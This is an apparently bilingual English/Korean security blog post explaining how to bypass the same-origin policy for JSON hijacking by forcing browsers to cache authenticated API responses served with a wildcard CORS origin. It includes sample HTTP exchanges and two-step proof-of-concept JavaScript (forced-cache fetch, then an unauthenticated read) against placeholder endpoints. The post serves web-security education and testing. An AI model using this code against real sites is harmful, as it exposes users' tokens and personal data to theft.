JSON Hijacking, SOP Bypass Technic with Cache-Control

Today, I write post at technique that bypasses SOP using cache during JSON Hijacking.
It's not always available because conditions are necessary, but if the conditions are right, you can get an unexpected good result.
(오늘은 JSON Hijacking 중 cache를 이용하여 SOP를 우회하는 기법에 대해 이야기하려고 합니다.
물론 이 방법은 조건이 필요하기 때문에 항상 사용할 수 있진 않지만, 조건만 맞는다면 뜻밖의 좋은 결과를 얻을수도 있습니다)



TL;DR

Cached results from states with authentication are imported as non-authentication requests.
(인증상태에서 캐시된 데이터를 비인증 요청으로 리소스를 읽어 SOP에 위배되지 않고 Hijacking을 성공할 수 있습니다.)

However, this condition is mandatory.

Access-Control-Allow-Origin: *

and Cache must be available for vuln API.
(조건은 Origind이 와일드 카드로 허용되어야하고, 캐시 사용이 가능한 API여야합니다. 이유는.. 아래에서 다시)

SOP and CORS

SOP(same-origin policy) is a critical security mechanism that restricts how a document or script loaded from one origin can interact with a resource from another origin. It helps isolate potentially malicious documents, reducing possible attack vectors.
https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy

Cross-Origin Resource Sharing (CORS) is a mechanism that uses additional HTTP headers to tell browsers to give a web application running at one origin, access to selected resources from a different origin. A web application executes a cross-origin HTTP request when it requests a resource that has a different origin (domain, protocol, or port) from its own.
https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS

and When Origin is a wildcard, resources can only be read if there is no authentication.
(https://www.hahwul.com/2019/04/why-failed-get-data-with-this-cors-policy.html)

Access-Control-Allow-Origin: *

Cache-Control

Cache-Control HTTP header holds directives (instructions) for caching in both requests and responses. A given directive in a request does not mean the same directive should be in the response.
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control

Bypass SOP with CC(Cache-Control)

The process of reading cached data provides the user with a direct read of the data within the browser without requesting it from the remote server.
(캐시된 데이터를 읽는 과정은 실제 서버로 데이터를 요청하지 않고 브라우저 내에 저장된 데이터를 바로 읽어 사용자에게 제공합니다. )

This allows an attacker to pass through the SOP in the form of force caching on pages with sensitive information or read out the results already cached. Because requests that do not include authentication when the Origin policy is a wildcard can read response.
(이걸 이용하여 공격자가 중요 정보가 있는 페이지를 강제로 캐싱시커나 이미 캐시된 결과를 읽어오는 형태로 SOP를 통과할 수 있습니다. 왜냐면 Origin 정책이 wildcard 일 때 인증을 포함하지 않는 요청은 response를 읽을 수 있기 때문이죠)

with Auth
Access-Control-Allow-Origin: *

{"username":"hahwul","token":"ABCDEFG123456"}


without Auth
Access-Control-Allow-Origin: *

{}

read cached response

1) caching sensertive data
< req >
GET /yourapi HTTP/1.1
Host: blahblah~~
Cache-Control: private, max-age=3600
Cookie: auth=9839hg1209f1h0f9h

< res >
HTTP/1.1 200 OK
Server: nginx
Cache-Control: private, max-age=3600
Access-Control-Allow-Origin: *

{"username":"hahwul","token":"ABCDEFG123456"}

2) read cached data
< req >
GET /yourapi HTTP/1.1
Host: blahblah~~
Origin: *

< res >
HTTP/1.1 200 OK
Server: nginx
Cache-Control: private, max-age=3600
Access-Control-Allow-Origin: *

{"username":"hahwul","token":"ABCDEFG123456"}

Attack Code

It just, simple.
1) caching,
2) read data from cache storage

<!-- Step1, Caching with Auth -->
<script>
var url = "https://vulnpage?cachepoint";
fetch(url, {
method: 'GET',
cache: 'force-cache'
});
</script>
<!-- Sometimes, it is convenient to use the img tag when it is cached by default. -->
<!-- <img src="https://vulnpage?cachepoint"> -->


<!-- Step2, Get Userdata without Auth(Using cache)-->
<script>
//delay for cached
setTimeout(function (){
// get information without auth
$.ajax({
url: "/vulnpage?cachepoint",
type: "get",
xhrFields: {
withCredentials: false
},
headers: {
"Accept":"application/json",
"Accept-Language":"ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3",
},
success: function (data) {
console.info(data);
}
});
}, 2000);
</script>

Tip: That's not going to happen, but in case it's a public cache, we attach arbitrary parameters (so only get me).
(혹시라도 퍼블릭 캐시인 경우엔.. 캐시 데이터를 식별하기 좋도록 임의의 파라미터를 붙여주는게 좋습니다. 요건 Desync attack이나 캐시 포이즈닝에도 동일하게 사용하는 팁? 입니다..)

in Request.cache, force-cache can be used to create force-cache requests. Sometimes, it is convenient to use the img tag when it is cached by default.

// e.g
if (res.status === 200) {
controller.abort()
controller = new AbortController();
return fetch("some.json", {cache: "force-cache", mode: "same-origin", signal: controller.signal})
}

(Request.cache 중 force-cache를 이용하여 강제 캐시 요청을 만들 수 있습니다. 혹시라도 기본적으로 캐시되는 페이지라면 img 태그도 가능합니다.)
https://developer.mozilla.org/en-US/docs/Web/API/Request/cache

Conclusion

It's not a trick that you can use often because there are some restrictions, but it's a good technique if conditions are right.
(제한 조건이 조금 있어서 자주 사용할 수 있는 트릭은 아니지만, 조건만 맞는다면 충분히 해볼만한 기법이니다. 실제 버바 사례로도 나오긴하니.. 참고하시면 좋을 것 같습니다)


Happy hacking!

https://i.giphy.com/FnGJfc18tDDHy.gif

Reference

https://en.wikipedia.org/wiki/Same-origin_policy
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control
https://developer.mozilla.org/en-US/docs/Web/API/Request/cache
https://securityboulevard.com/2019/04/bypassing-sop-using-the-browser-cache/
https://hackerone.com/reports/761726
https://www.hahwul.com/2019/04/why-failed-get-data-with-this-cors-policy.html